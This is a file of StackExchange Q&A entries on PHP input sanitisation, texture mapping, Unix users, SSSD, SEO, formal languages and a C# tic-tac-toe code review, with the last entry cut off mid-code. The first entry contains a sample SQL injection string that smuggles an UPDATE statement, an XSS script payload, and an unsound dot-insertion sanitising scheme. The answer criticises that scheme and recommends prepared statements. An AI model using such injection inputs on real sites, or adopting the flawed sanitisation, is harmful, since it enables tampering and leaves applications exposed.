{  "id": "_codereview.60334"  , "question": "I am building a classifieds website here in Portugal, and I'm now in the security phase. So until now, I already made what I think is a good measure against SQL injection:$firstname = chunk_split(mysql_real_escape_string($_POST[firstname]),1,'.');$lastname = chunk_split(mysql_real_escape_string($_POST[lastname]),1,'.');$email = chunk_split(mysql_real_escape_string($_POST[email]),1,'.');etc...This will save valid and invalid emails, for example, like this:good email: u.s.e.r.@.e.m.a.i.l.h.o.s.t...c.o.m.bad email: Example of text in the email field:Y'; UPDATE table  SET email = 'hacker@ymail.com'  WHERE email = 'joe@ymail.com';and after stored in the database:Y.\\.'.;. .U.P.D.A.T.E. .t.a.b.l.e. .S.E.T. .e.m.a.i.l. .=. .\\.'.h.a.c.k.e.r.@.y.m.a.i.l...c.o.m.\\'. .W.H.E.R.E. .e.m.a.i.l. .=. .\\.'.j.o.e.@.y.m.a.i.l...c.o.m.\\.'.;.So, I don't care if the size of the stored string is bigger because I think this is a solid approach and a very fast one. And if I had to use other ways, the scripts would probably consume the same time that is here exchanged by size.But now I have the serious problem of XSS attacks. I'm trying to prevent only attacks based on text, not images or JavaScript because I will not have untrusted data there.The solution I find is based on the last example, and looks like this:$str = <script>alert('XSS attack');</script>;$ad_title = chunk_split($str,1,<span style='font-size:0px;'>.</span>);So when the page loads the users will see the inserted text and the alert will not work:<script>alert('fabio');</script>This is the source code:<<span style='font-size:0px;'>.</span>s<span style='font-size:0px;'>.</span>c<span style='font-size:0px;'>.</span>r<span style='font-size:0px;'>.</span>i<span style='font-size:0px;'>.</span>p<span style='font-size:0px;'>.</span>t<span style='font-size:0px;'>.</span>><span style='font-size:0px;'>.</span>a<span style='font-size:0px;'>.</span>l<span style='font-size:0px;'>.</span>e<span style='font-size:0px;'>.</span>r<span style='font-size:0px;'>.</span>t<span style='font-size:0px;'>.</span>(<span style='font-size:0px;'>.</span>'<span style='font-size:0px;'>.</span>f<span style='font-size:0px;'>.</span>a<span style='font-size:0px;'>.</span>b<span style='font-size:0px;'>.</span>i<span style='font-size:0px;'>.</span>o<span style='font-size:0px;'>.</span>'<span style='font-size:0px;'>.</span>)<span style='font-size:0px;'>.</span>;<span style='font-size:0px;'>.</span><<span style='font-size:0px;'>.</span>/<span style='font-size:0px;'>.</span>s<span style='font-size:0px;'>.</span>c<span style='font-size:0px;'>.</span>r<span style='font-size:0px;'>.</span>i<span style='font-size:0px;'>.</span>p<span style='font-size:0px;'>.</span>t<span style='font-size:0px;'>.</span>><span style='font-size:0px;'>.</span>Without being concerned about all the code it produces, my question is: is this enough or actually safe?"  , "title": "Is this safe against major XSS attacks?"  , "tags": "javascript;html;security"  , "accepted_answer": "Is it safe?  Maybe.  Is it the right way to do it?  No.Even if it were safe, theres a big problem with the SQL, and thats that youre inserting the dots after escaping, rather than before.  I notice that for the input ', it will be escaped to \\', and then your dot-insertion turns it into \\.'..  Before, the \\ was escaping the ', but now it isnt.  Now its escaping the ..  I dont know if a malicious entity could do anything bad with that, but I wouldnt take any chances.And here are some problems with the HTML:Copy-and-pasting will catch those dots.Search engines will catch those dots.You break any Unicode characters, e.g. you turn  into ?.?.?.?.?.?.?.?.?.. (But I only have an old version of PHP installed; maybe newer versions are more intelligent, but in that case, you might have other problems like putting a combining character onto your >)And thats not to mention the gigantic size increase, and potentially having invalid HTML all around, its just not a very good way to do it.So whats the right way to do it?  Well, for inserting data into the database, you should be using PDO with prepared statements.  Then you dont have to deal with SQL escaping at all: you prepare a query with placeholders, and send in the placeholder data, and since the data doesnt have to touch the query, you dont have to worry about that at all.Sidebar: using PDOYou said that itd be a lot of work to use PDO.  Well, Ive never found it particularly difficult.  Your code perhaps looks like this:mysql_connect('localhost', 'myapp', 'letmein');mysql_select_db('myapp');// ...mysql_query(insert into users (firstname, lastname, email) values ('$firstname', '$lastname', '$email'));But its not actually that hard to use PDO.  That code could be translated to use prepared statements and PDO like so:$db = new PDO('mysql:host=localhost;dbname=myapp', 'myapp', 'letmein');// ...$stmt = $db->prepare('insert into users (firstname, lastname, email) values (:firstname, :lastname, :email)');$stmt->bindValue('firstname', $_POST['firstname']);  // look ma, no escaping!$stmt->bindValue('lastname', $_POST['lastname']);$stmt->bindValue('email', $_POST['email']);$stmt->execute();And besides being more secure, youre also moving onto something that the PHP developers have committed to keep in place: the mysql_* functions will be removed, as the PHP documentation says:Warning: This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information.End of sidebarOn the HTML side, using htmlentities or htmlspecialchars is the standard way to do it.Then, finally, Id like to point out one thing about how youre accessing POST data: youre currently using $_POST[firstname].  Its supposed to be an expression thats between the brackets, but you have the name of the field literally in there.  It turns out that thats okay currently, as undefined constants evaluate to their name.  But that does generate a notice, and depending on your error reporting level, you will probably see lots of notices in your error log saying that this is bad and/or deprecated.  You should explicitly quote it: $_POST['firstname']."  } 
{  "id": "_computergraphics.1566"  , "question": "I'm in the process of making a tool that requires rendered texture to follow the contours of a piece of clothing. An example would be this website https://knyttan.com/editor/jumper-editor/. The effect here is achieved by using a colour map:I looked at the shaders that are used for this and it seems that the texture offset is calculated based on the colour channels from this map. Now I was wondering if this is a complete bespoke way of doing this, or if this is a known technique and if it is what is it called ?"  , "title": "Help me find out what this texture mapping technique is called"  , "tags": "texture;webgl"  , "accepted_answer": "What you see in the image called a UV map. That is, it is simply texture coordinates to be looked up encoded in a image. Same thing happens in all texture lookup in 3D there is a underlying sampler that picks where to pick texture color from.Image 1: Image showing UV map of two overlapped triangles and sampled texture with same UV coordsHere are the sources for those images, please do not overwrite the sources.Demo showing the UV mapDemo showing the texture"  } 
{  "id": "_webmaster.71164"  , "question": "I have a site at a big hosting company and I checked the apache log generated by the site and I saw requests like this in it:GET hostname/~username/proj/favicon.ico HTTP/1.1Where hostname is the hostname of the site, username is my username at the hosting company, and proj is the directory where the site is hosted.What surprises me is that the request shows the actual directory structure instead of the actual request (GET hostname/favicon.ico HTTP/1.1). Is this normal? Shouldn't it show the actual HTTP request, instead of this translated request path?I find it strange that the actual HTTP request does not appear in the log at all. Surely, the browsers don't know my username and the project directory at the hosting company, so it can't be the actual HTTP request what the client made."  , "title": "Is it normal when the request line of apache log contains a ~username component?"  , "tags": "apache;apache log files"  } 
{  "id": "_cstheory.19906"  , "question": "A language $L$ is calledi) locally testable in the strict sense iff there exists $P, S, I \\subseteq X^*$ such that$$ w \\in L \\mbox{ iff } pref^k(w) \\in P, suffix^k(w) \\in S, infix^k(w) \\subseteq I.$$for some $k > 0$.ii) locally testable iff for $u,v \\in X^*$ the following holds:If $pref^k(u) = pref^k(v), suffix^k(u) = suffix^k(v), infix^k(u) = infix^k(v)$ then$$ u \\in L \\mbox{ iff } v \\in L.$$Meaning if two words coincide in there infixes, suffix and prefix up to a specific length $k > 0$ then they are either both in the language or they are both not.iii) the class of locally testable events with order is defined as the smallest class of languages containing the locally testable languages and closed under the boolean operations union, intersection and complementation. (this could be equivalently defined with locally testable in the strict sense instead of locally testable)In what sense do they differ, that iii) contains more languages is clear, for example the language which contains for example $00$ followed by $01$ is in iii) but not in ii) or i) I think (because it involves some kind of order in requiring that $01$ need to follow $00$), but in what sense are ii) and i) different, what is a languge contained in ii) but no in i)?"  , "title": "Difference between locally testable and it's boolean closure"  , "tags": "fl.formal languages;automata theory"  , "accepted_answer": "In ii), you say that $u$ being in $L$ can be deduced only by knowing $pref^k(u)$, $inf^k(u)$ and $suff^k(u)$.This mean that $L$ can be given by a set $E\\subseteq (X^*\\times 2^{X^*}\\times X^*)$, namely $u\\in L$ iff $(pref^k(u),inf^k(u),suff^k(u))\\in E$.The reason why condition i) is stronger is because it forces $E$ to be of the form $P\\times 2^I\\times S$.An example of a language which is in ii) but not i) is therefore given by $E=\\{ (a,X^*,a),  a\\in X\\}$. This means that $L$ is just the language of words whose last letter is equal to the first. $L$ is locally testable with $k=1$ for condition ii), but it is not for any $k$ for condition i)."  } 
{  "id": "_unix.320795"  , "question": "I have a cluster of 23 machines. CentOS 6.7  They have been successfully authenticating to AD via SSSD for over a year.Unbeknownst to me, someone moved one computer out of the search base OU and renamed it from lowercase to uppercase.   It is now the only machine that cannot authenticate to AD.sssd.conf has case_sensitive = false ive also changed ldap_sasl_authid  from lowercase to upper to match AD but still cannot connect after clearing /var/lib/sss/db and sssd restart.  getent passwd only shows local accounts.When compared to other machines that are still authenticating, every service and config file is the same.Getting pushback from network folks on the rename.  Is there any way to make this work ? "  , "title": "SSSD not authenticating to AD"  , "tags": "active directory;sssd"  } 
{  "id": "_softwareengineering.279798"  , "question": "I'm creating a web application that is visually enormous.  I'm talking 2 million pixels wide and 2 million pixels tall (about).  My goal is to show dynamically changing spots all over the site.  For loading's sake, would it be best to load a single large, low quality image per screen view? or show about 2000 html elements per screen view?I have about 255 sections on the site, each section is 120,390px square.  I only show the correct section on the screen, which means I would only ever see 4 sections at a time.  Inside of these sections I have little spots that are about 30px square.  each little square is being pulled from a database to get the color, which could potentially change at any time.  But these squares are only pulled when the user's view goes there.  So at most, it would show around 2-3000 squares.  Again, would it be less processing power and faster to load a single picture (let's say the picture is about 5000px wide, with the colors on it, it would be around 50k at low quality) or would it be faster/better to load every square individually?"  , "title": "Web App - Better to load Large, low quality image or many html elements?"  , "tags": "html;image processing"  } 
{  "id": "_unix.268378"  , "question": "While reading about environment variables, the one I came across was LOGNAME, I'd like to know the difference between this variable and whatever the command logname returns - as both of them did differ in what they returned.-bash-3.2$ lognameuser11-bash-3.2$ echo $LOGNAMEuser1Although, whoami returns the same user as LOGNAME-bash-3.2$ whoamiuser1"  , "title": "Difference between logname and $LOGNAME"  , "tags": "users;environment variables;whoami"  , "accepted_answer": "logname goes up the user that owns the tty (by reading it from /var/run/utmp), while $LOGNAME is an env variable that contains the user that executes the current shell process. You can easily verify this with the following commands:# ssh guido@localhost# whoamiguido# wUSER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHATguido    pts/3    localhost        13:02    0.00s  0.12s  0.03s sshd: guido [priv]# echo $LOGNAMEguido# sudo su$ whoamiroot$ echo $LOGNAMEroot$ lognameguido$ ps aux | grep bashroot      1145  0.5  0.1 110176  3604 pts/3    S    13:11   0:00 bashroot      1161  0.0  0.0 103304   844 pts/3    S+   13:11   0:00 grep bashguido    28363  0.0  0.1 110048  3516 pts/3    Ss   13:02   0:00 -bash"  } 
{  "id": "_webmaster.38084"  , "question": "Last week I moved all the images on coffeeandvanilla.com to a cdn( maxcdn.coffeeandvanilla.com ).The problem I'm having is that although the sitemapgenerated by Yoast WordPress SEO pluginpoints images to the correct location, Google only indexes[sic] images from the category and page site maps but 0 images from the posts sitemap( see screenshot https://dl.dropbox.com/u/4635252/sitemap.png )This website has been doing quite well with Google image-search before the change, visits from Google image search have dropped from ~200/day to 11 yesterdayHere is an example entry from the generated posts.xml sitemap http://pastebin.com/vcMRf9VWCan anyone suggest where the problem lies? Why have I lost all my google image juice? Should I just wait some more, how long before really worrying?"  , "title": "Images not indexed by google since moving to cdn"  , "tags": "seo;google;images;google image search"  , "accepted_answer": "Have you tried updating Yoast? It did have a rather nasty image sitemap bug:1.2.8 Bug fixes: Fix for images not showing up in XML sitemap1.EDIT: Final answerI suspected that may be the case. I can't take any credit for this, but please find someone with the same problem and the resultant solution from the Yoast plugin creator:function wpseo_cdn_filter( $uri ) {      return str_replace( 'http://example.com', 'http://cdn.example.com', $uri );  }  add_filter( 'wpseo_xml_sitemap_img_src', 'wpseo_cdn_filter' );CDN Images in Sitemap"  } 
{  "id": "_unix.293739"  , "question": "I have a few PDF files which suffer the problem shown in the image:(the blue part is mouse-selected, the right part in black is how the entire document looks!)I tried /prepressing and even -dSUBSTFONTing them with ghostscript but it didn't help, and I'm clueless now.Any suggestions? ... Thanks."  , "title": "evince: Bad PDF font rendering"  , "tags": "fonts;pdf;evince;ghostscript"  } 
{  "id": "_unix.42877"  , "question": "I am working on some batch scripts involving the following:Run some non-terminating sub-processes (asynchronously)Wait for t secondsPerform other task X for some timeTerminate subprocessesIdeally, I would like to be able to differentiate the stdout of the sub-processes which has  been emitted before X from that which has been emitted after X.A few ideas come to mind, although I have no idea as to how I would implement them:Discard stdout for t secondsInsert some text (for instance, 'Task X started') to visually separate the sectionsSplit stdout into various output streams"  , "title": "Discard stdout of a command for t seconds"  , "tags": "shell script;process management;stdout"  , "accepted_answer": "While you could complicate the matter with exec and extra file descriptor wrangling, your second suggestion is the simplest. Before starting X, echo a marker string into the log file.All those commands would be appending to the same file, so maybe it would be a good idea to prepend all output of X with a marker, so you can tell apart its output from the one of the still running previous commands. Something along the lines of:{ X; } | sed 's,^,[X say] ,'This would make further analysis much simpler. It is not safe and for very verbose programs, race conditions would happen often.If you're willing to take the chance to break one log line and can interrupt the first batch of apps without consequence, this would work too:{ Y; } >> log &sleep $tkill -STOP %% # last job, like the same as %1echo -e \\nX started >> logkill -CONT %%{ X; } >> log2"  } 
{  "id": "_codereview.159399"  , "question": "I took the source code from this question, (thank you gaessaki for the motivation!) and did a lot of refactoring.I use 4 projects:Common: contains mainly interfaces and enumerations referenced by otherprojects.Model: Knows nothing of the others, just maintains the game logic and state.Presenter: References the Model directly and accesses the View via the IView interface. Acts as mediator between them.View: References the Presenter. Is pretty dumb, can only query the board situation and the game status and display them. For every action (playing a move, restarting, etc.) it simply informs the presenter.The View is actually the executable project who references all others and in its Program.cs instantiates a Model, a View, a Presenter and connects them. But other than that, the visual components only touch the presenter. I did not want to create another project just to this instantiation.The intention is to be able to interchange the view (e.g. use console or WPF), keeping the model and the presenter.I appreciate your comments. I have experience with C# and programming in general, but not with MVP. I think, I tend to overcomplicate the design.Help classesExceptionBuilderusing System;namespace Mfanou.Common {    public static class ExceptionBuilder {        public static void CheckArgumentRangeInclusive(string varName, int value, int lowerRange, int upperRange) {            if (value < lowerRange || value > upperRange)                throw new ArgumentOutOfRangeException(varName);        }    }}CommonGameAction enumerationnamespace Mfanou.TicTacToe.Common {    public enum GameAction {        Restart,        Exit    }}Move enumerationnamespace Mfanou.TicTacToe.Common {    public enum Move {        ShowPreview,        HidePreview,        Play    }}IPlayernamespace Mfanou.TicTacToe.Common {    public interface IPlayer {        int Id { get; }    }}ISquareContentnamespace Mfanou.TicTacToe.Common {    public interface ISquareContent {        bool IsEmpty { get; }        /// <summary>        /// Player whose piece is on the square.        /// Valid only when IsEmpty is false.        /// </summary>        IPlayer Player { get; }        /// <summary>        /// True if the piece is a move preview.        /// Valid only when IsEmpty is false.        /// </summary>        bool IsPiecePreview { get; }        /// <summary>        /// True if the piece is part of a game-winning piece sequence.        /// Valid only when IsEmpty is false.        /// </summary>        bool IsWinning { get; }    }}SquarePositionusing Mfanou.Common;    namespace Mfanou.TicTacToe.Common {        public class SquarePosition {            public static readonly int ROWCOL_MIN = 1;            public static readonly int ROWCOL_MAX = 3;            public SquarePosition(int row, int col) {                CheckRowColRange(nameof(row), row);                CheckRowColRange(nameof(col), col);                Row = row;                Column = col;            }            public int Row { get; }            public int Column { get; }            public override bool Equals(object obj) {                if (obj == null || GetType() != obj.GetType())                     return false;                return Equals((SquarePosition)obj);            }            public bool Equals(SquarePosition sp) => Row == sp.Row && Column == sp.Column;            public override int GetHashCode() => 1024 * Row.GetHashCode() + Column.GetHashCode();            private void CheckRowColRange(string varName, int value) {                ExceptionBuilder.CheckArgumentRangeInclusive(varName, value, ROWCOL_MIN, ROWCOL_MAX);            }        }    }IGameStatusnamespace Mfanou.TicTacToe.Common {    public interface IGameStatus {        bool IsOver { get; }        /// <summary>Valid only when IsEmpty is true.</summary>        bool IsTie { get; }        /// <summary>Valid only when IsEmpty is true and IsTie is false.</summary>        IPlayer WinningPlayer { get; }    }}IViewnamespace Mfanou.TicTacToe.Common {    public interface IView {        void RefreshBoard();        bool ConfirmAction(GameAction action);        void Exit();    }}ModelGame (main class, it being the actual model)using Mfanou.TicTacToe.Common;using System;namespace Mfanou.TicTacToe.Model {    public class Game {        public Game() {            MoveFactory = new MoveFactory(this);            GameActionFactory = new GameActionFactory(this);            Board = new Board();            Turn = new Turn<IPlayer>(Player.GetAll());            new RestartAction(this).Execute();        }        public event Action OnExit;        public IGameStatus Status => InternalStatus;        public MoveFactory MoveFactory { get; private set; }        public GameActionFactory GameActionFactory { get; private set; }        public ISquareContent GetSquareContent(SquarePosition position) => Board.GetSquare(position).Content;        internal Board Board { get; }        internal Turn<IPlayer> Turn { get; }        internal GameStatus InternalStatus { get; set; }        internal void Exit() {            OnExit?.Invoke();        }        internal void UpdateStatus() {            InternalStatus = StatusJudge.GetStatus(Board);        }    }}Boardusing Mfanou.TicTacToe.Common;using System.Collections.Generic;using System.Linq;namespace Mfanou.TicTacToe.Model {    internal class Board {        public Board() {            _squares = new List<Square>();            Reset();        }        public IEnumerable<Square> Squares => _squares;        public IEnumerable<IEnumerable<Square>> RowsColumnsAndDiagonals => Rows.Concat(Columns).Concat(Diagonals);        public Square GetSquare(SquarePosition position) =>             _squares.Where(sq => sq.Position.Equals(position)).Single();        public void Reset() {            _squares.Clear();            for (int r = SquarePosition.ROWCOL_MIN; r <= SquarePosition.ROWCOL_MAX; r++)                for (int c = SquarePosition.ROWCOL_MIN; c <= SquarePosition.ROWCOL_MAX; c++)                    _squares.Add(new Square(new SquarePosition(r, c)));        }        private List<Square> _squares;        private IEnumerable<IEnumerable<Square>> Rows => Squares.GroupBy(sq => sq.Position.Row);        private IEnumerable<IEnumerable<Square>> Columns => Squares.GroupBy(sq => sq.Position.Column);        private IEnumerable<IEnumerable<Square>> Diagonals {            get {                // Top left - bottom right diagonal: row equals column.                yield return Squares.Where(sq => sq.Position.Row == sq.Position.Column);                // Bottom left - top right diagonal: sum of row and column is constant.                yield return Squares.Where(sq => sq.Position.Row + sq.Position.Column ==                     SquarePosition.ROWCOL_MAX + SquarePosition.ROWCOL_MIN);            }        }    }}GameAction subdirTo the GameAction enumeration in common corresponds a simple hierarchy of action classes deriving from the GameAction abstract class.The Presenter uses the GameFactory provided by Game to translate the GameAction enum to a GameAction descendant class and then ask for a confirmation and/or execute it.GameActionusing System.Linq;namespace Mfanou.TicTacToe.Model {    public abstract class GameAction {        public GameAction(Game game) {            Game = game;        }        public bool NeedsConfirmation() {            if (Game.InternalStatus.IsOver)                return false;            bool boardHasMoves = Game.Board.Squares.Any((sq) => sq.Content.HasMove);            return boardHasMoves;        }        public abstract void Execute();        protected Game Game { get; }    }}ExitActionnamespace Mfanou.TicTacToe.Model {    internal class ExitAction : GameAction {        internal ExitAction(Game game) : base(game) {}        public override void Execute() {            Game.Exit();        }    }}RestartActionnamespace Mfanou.TicTacToe.Model {    internal class RestartAction : GameAction {        internal RestartAction(Game game) : base(game) {}        public override void Execute() {            Game.Board.Reset();            Game.Turn.Reset();            Game.UpdateStatus();        }    }}GameActionFactoryusing System;namespace Mfanou.TicTacToe.Model {    public class GameActionFactory {        public GameActionFactory(Game game) {            _game = game;        }        public GameAction CreateGameAction(Common.GameAction action) {            GameAction gameAction;            switch (action) {                case Common.GameAction.Restart:                    gameAction = new RestartAction(_game);                    break;                case Common.GameAction.Exit:                    gameAction = new ExitAction(_game);                    break;                default:                    throw new NotImplementedException();            }            return gameAction;        }        private Game _game;    }}GameStatus subdirGameStatususing Mfanou.TicTacToe.Common;using System;using System.Collections.Generic;namespace Mfanou.TicTacToe.Model {    internal class GameStatus : IGameStatus {        public static GameStatus Running() {            return new GameStatus() { _isOver = false };        }        public static GameStatus Tie() {            return new GameStatus() { _isOver = true, _isTie = true };        }        public static GameStatus Winner(IPlayer winner, IEnumerable<SquarePosition> winningSquares) {            return new GameStatus() { _isOver = true, _isTie = false, _winner = winner, _winningSquares = winningSquares };        }        public bool IsOver => _isOver;        /// <exception cref=InvalidOperationException>When game is not over.</exception>        public bool IsTie {            get {                if (!IsOver)                    throw new InvalidOperationException();                return _isTie;            }        }        /// <exception cref=InvalidOperationException>When game is not over, or is a tie.</exception>        public IPlayer WinningPlayer {            get {                if (!IsOver || IsTie)                    throw new InvalidOperationException();                return _winner;            }        }        /// <exception cref=InvalidOperationException>When game is not over, or is a tie.</exception>        public IEnumerable<SquarePosition> WinningSquares {            get {                if (!IsOver || IsTie)                    throw new InvalidOperationException();                return _winningSquares;            }        }        private GameStatus() {}        private bool _isOver;        private bool _isTie;        private IPlayer _winner;        private IEnumerable<SquarePosition> _winningSquares;    }}StatusJudgeusing Mfanou.TicTacToe.Common;using System.Collections.Generic;using System.Linq;namespace Mfanou.TicTacToe.Model {    /// <summary>Contains logic for getting the game status.</summary>    internal static class StatusJudge {        public static GameStatus GetStatus(Board board) {            // For each row, column, diagonal...            foreach (IEnumerable<Square> squares in board.RowsColumnsAndDiagonals) {                IEnumerable<SquarePosition> positions = squares.Select((sq) => sq.Position);                IEnumerable<SquareContent> contents = squares.Select((sq) => sq.Content);                // ...if all its squares are covered by the same player, it's a win.                SquareContent singleContent =                    contents.Distinct().Count() == 1 ? contents.First() : null;                if (singleContent != null && singleContent.HasMove)                    return GameStatus.Winner(singleContent.Player, positions);            }            bool isBoardFull = board.Squares.All((sq) => sq.Content.HasMove);            return isBoardFull ? GameStatus.Tie() : GameStatus.Running();        }    }}Move subdirTo the Move enumeration in Common corresponds here a class hierarchy deriving from the abstract Move class. The logic whether the move is allowed and its effects is thus extracted from the Game class.The presenter uses the MoveFactory provided from the Game to translate the Move enumeration to a Move class descendant which then can query for allowing and executing a move requested by the form.Moveusing Mfanou.TicTacToe.Common;using System;namespace Mfanou.TicTacToe.Model {    public abstract class Move {        public Move(Game game, SquarePosition position) {            Game = game;            Position = position;        }        public SquarePosition Position { get; }        public abstract bool CanExecute();        public void Execute() {            if (!CanExecute())                throw new InvalidOperationException();            DoExecute();        }        protected Game Game;        protected abstract void DoExecute();    }}ShowPreviewMoveusing Mfanou.TicTacToe.Common;using System.Linq;namespace Mfanou.TicTacToe.Model {    internal class ShowPreviewMove : Move {        public ShowPreviewMove(Game game, SquarePosition position) : base(game, position) {}        public override bool CanExecute() {            // No other preview should exist on the board.            if (Game.Board.Squares.Any(sq => !sq.Content.IsEmpty && sq.Content.IsPiecePreview))                return false;            // Square should be empty.            return Game.Board.GetSquare(Position).Content.IsEmpty;        }        protected override void DoExecute() {            Game.Board.GetSquare(Position).Content = SquareContent.WithPiecePreview(Game.Turn.Current);        }    }}HidePreviewMoveusing Mfanou.TicTacToe.Common;namespace Mfanou.TicTacToe.Model {    internal class HidePreviewMove : Move {        public HidePreviewMove(Game game, SquarePosition position) : base(game, position) {}        public override bool CanExecute() {            var targetContent = Game.Board.GetSquare(Position).Content;            return !targetContent.IsEmpty && targetContent.IsPiecePreview;        }        protected override void DoExecute() {            Game.Board.GetSquare(Position).Content = SquareContent.Empty();        }    }}PlayMoveusing Mfanou.TicTacToe.Common;using System.Linq;namespace Mfanou.TicTacToe.Model {    internal class PlayMove : Move {        public PlayMove(Game game, SquarePosition position) : base(game, position) {}        public override bool CanExecute() {            // If there is a preview, it can only be played in the previewed square.            var previewSquare = Game.Board.Squares.                Where(sq => !sq.Content.IsEmpty && sq.Content.IsPiecePreview).SingleOrDefault();            if (previewSquare != null)                 return previewSquare.Position.Equals(Position);            // No preview: It can only be played in an empty square.            return Game.Board.GetSquare(Position).Content.IsEmpty;        }        protected override void DoExecute() {            Game.Board.GetSquare(Position).Content = SquareContent.WithPiece(Game.Turn.Current);            Game.UpdateStatus();            if (Game.InternalStatus.IsOver) {                // If this move just won the game, highlight the winning squares.                if (!Game.InternalStatus.IsTie)                    Game.InternalStatus.WinningSquares.ToList().                        ForEach(sp => Game.Board.GetSquare(sp).Content = SquareContent.WithPieceWinning(Game.Turn.Current));            } else                Game.Turn.MoveToNext();        }    }}MoveFactoryusing Mfanou.TicTacToe.Common;using System;namespace Mfanou.TicTacToe.Model {    public class MoveFactory {        public MoveFactory(Game game) {            _game = game;        }        public Move CreateMove(Common.Move action, SquarePosition position) {            Move move;            switch (action) {                case Common.Move.ShowPreview:                    move = new ShowPreviewMove(_game, position);                    break;                case Common.Move.HidePreview:                    move = new HidePreviewMove(_game, position);                    break;                case Common.Move.Play:                    move = new PlayMove(_game, position);                    break;                default:                    throw new NotImplementedException();            }            return move;        }        private Game _game;    }}Player subdirPlayerusing Mfanou.TicTacToe.Common;using System.Collections.Generic;namespace Mfanou.TicTacToe.Model {    internal class Player : IPlayer {        public static IEnumerable<IPlayer> GetAll() {            for (int i=1; i<=NUM_PLAYERS; i++)                yield return new Player(i);        }        public int Id { get; }        public override bool Equals(object obj) {            if (obj == null || GetType() != obj.GetType())                 return false;            return Equals((Player)obj);        }        public bool Equals(Player p) {            return (Id == p.Id);        }        public override int GetHashCode() {            return Id.GetHashCode();        }        private static readonly int NUM_PLAYERS = 2;        private Player(int id) {            Id = id;        }    }}Turnusing Mfanou.TicTacToe.Common;using System.Collections.Generic;using System.Linq;namespace Mfanou.TicTacToe.Model {    internal class Turn<T> {        public Turn(IEnumerable<T> players) {            _players = players.ToArray();            Reset();        }        public IEnumerable<T> Players => _players;        public T Current => _players[_indexCurrent];        public void Reset() {            _indexCurrent = 0;        }        public void MoveToNext() {            _indexCurrent++;            if (_indexCurrent >= _players.Length)                _indexCurrent = 0;        }        private T[] _players;        private int _indexCurrent;    }}Square subdirSquareusing Mfanou.TicTacToe.Common;namespace Mfanou.TicTacToe.Model {    internal class Square {        public Square(SquarePosition position) {            Position = position;            Content = SquareContent.Empty();        }        public SquarePosition Position { get; }        public SquareContent Content { get; set; }    }}SquareContentusing Mfanou.TicTacToe.Common;using System;namespace Mfanou.TicTacToe.Model {    internal class SquareContent : ISquareContent {        public static SquareContent Empty() {            return new SquareContent() { IsEmpty = true };        }        public static SquareContent WithPiece(IPlayer player) {            return new SquareContent() { IsEmpty = false, Player = player };        }        public static SquareContent WithPiecePreview(IPlayer player) {            return new SquareContent() { IsEmpty = false, Player = player, IsPiecePreview = true };        }        public static SquareContent WithPieceWinning(IPlayer player) {            return new SquareContent() { IsEmpty = false, Player = player, IsWinning = true };        }        public bool IsEmpty { get; private set; }        public bool HasMove => !IsEmpty && !IsPiecePreview;        /// <exception cref=InvalidOperationException>When the square is empty.</exception>        public IPlayer Player {            get {                if (IsEmpty)                    throw new InvalidOperationException();                return _player;            }            private set { _player = value; }        }        public bool IsPiecePreview {            get {                if (IsEmpty)                    throw new InvalidOperationException();                return _isPreview;            }            private set { _isPreview = value; }        }        public bool IsWinning {            get {                if (IsEmpty)                    throw new InvalidOperationException();                return _isWinning;            }            private set { _isWinning = value; }        }        public override bool Equals(object obj) {            if (obj == null || GetType() != obj.GetType())                 return false;            return Equals((SquareContent)obj);        }        public bool Equals(SquareContent sc) {            if (IsEmpty && sc.IsEmpty)                return true;            if (!IsEmpty && !sc.IsEmpty && Player == sc.Player && IsPiecePreview == sc.IsPiecePreview)                return true;            // Exactly one of {this,sc} IsEmpty.            return false;        }        public override int GetHashCode() {            return IsEmpty ? IsEmpty.GetHashCode() : IsEmpty.GetHashCode() * 1024 + Player.GetHashCode();        }        public SquareContent Clone() {            var sc = new SquareContent();            sc.IsEmpty = IsEmpty;            if (!IsEmpty) {                sc.Player = Player;                sc.IsPiecePreview = IsPiecePreview;                sc.IsWinning = IsWinning;            }            return sc;        }        private SquareContent() {}        private IPlayer _player;        private bool _isPreview;        private bool _isWinning;    }}PresenterGamePresenterusing Mfanou.TicTacToe.Common;using Mfanou.TicTacToe.Model;namespace Mfanou.TicTacToe.Presenter {    public class GamePresenter {        public GamePresenter(Game model, IView view) {            Model = model;            Model.OnExit += ExitGame;            View = view;        }        public IGameStatus GameStatus => Model.Status;        public ISquareContent GetSquareContent(SquarePosition position) => Model.GetSquareContent(position);        public void RequestAction(Common.GameAction action) {            Model.GameAction gameAction = Model.GameActionFactory.CreateGameAction(action);            if (gameAction.NeedsConfirmation() && !View.ConfirmAction(action))                return;            gameAction.Execute();            View.RefreshBoard();        }        public void RequestMove(Common.Move action, SquarePosition position) {            Model.Move move = Model.MoveFactory.CreateMove(action, position);            if (!move.CanExecute())                return;            move.Execute();            View.RefreshBoard();        }        private Game Model { get; set; }        private IView View { get; set; }        private void ExitGame() {            View.Exit();        }    }}ViewProgram.csusing Mfanou.TicTacToe.Model;using Mfanou.TicTacToe.Presenter;using System;using System.Windows.Forms;namespace Mfanou.TicTacToe.UI.WinForms {    internal static class Program {        [STAThread]        static void Main() {            Application.EnableVisualStyles();            Application.SetCompatibleTextRenderingDefault(false);            Application.Run(CreateMainForm());        }        static Form CreateMainForm() {            var model = new Game();            var view = new TicTacToeForm();            var presenter = new GamePresenter(model, view);            view.Presenter = presenter;            return view;        }    }}TicTacToeFormusing Mfanou.TicTacToe.Common;using Mfanou.TicTacToe.Presenter;using Mfanou.UI.Winforms;using System;using System.Drawing;using System.Windows.Forms;namespace Mfanou.TicTacToe.UI.WinForms {    public partial class TicTacToeForm : MyForm, IView {        public TicTacToeForm() {            InitializeComponent();            Size = VisualFormatter.FormDefaultSize;            MinimumSize = VisualFormatter.FormMinimumSize;            Text = VisualFormatter.GAME_TITLE;            CreateMainPanel();            CreateMenu();            FormClosing += Form_Closing;        }        public GamePresenter Presenter {            get {                return _presenter;            }            set {                _presenter = value;                RefreshBoard();            }        }        public bool ConfirmAction(GameAction action) => VisualFormatter.ConfirmAction(action);        public void RefreshBoard() {            var status = Presenter.GameStatus;            BoardPanel.Enabled = !status.IsOver;            foreach (Control ctrl in BoardPanel.Controls)                VisualFormatter.FormatSquare(ctrl, Presenter.GetSquareContent(GetSquarePosition(ctrl)));            ResultLabel.Text = VisualFormatter.GameResult(status);        }        public void Exit() {            _formOrderedToClose = true;            Close();        }        private GamePresenter _presenter;        private bool _formOrderedToClose = false;        private TableLayoutPanel BoardPanel;        private Label ResultLabel;        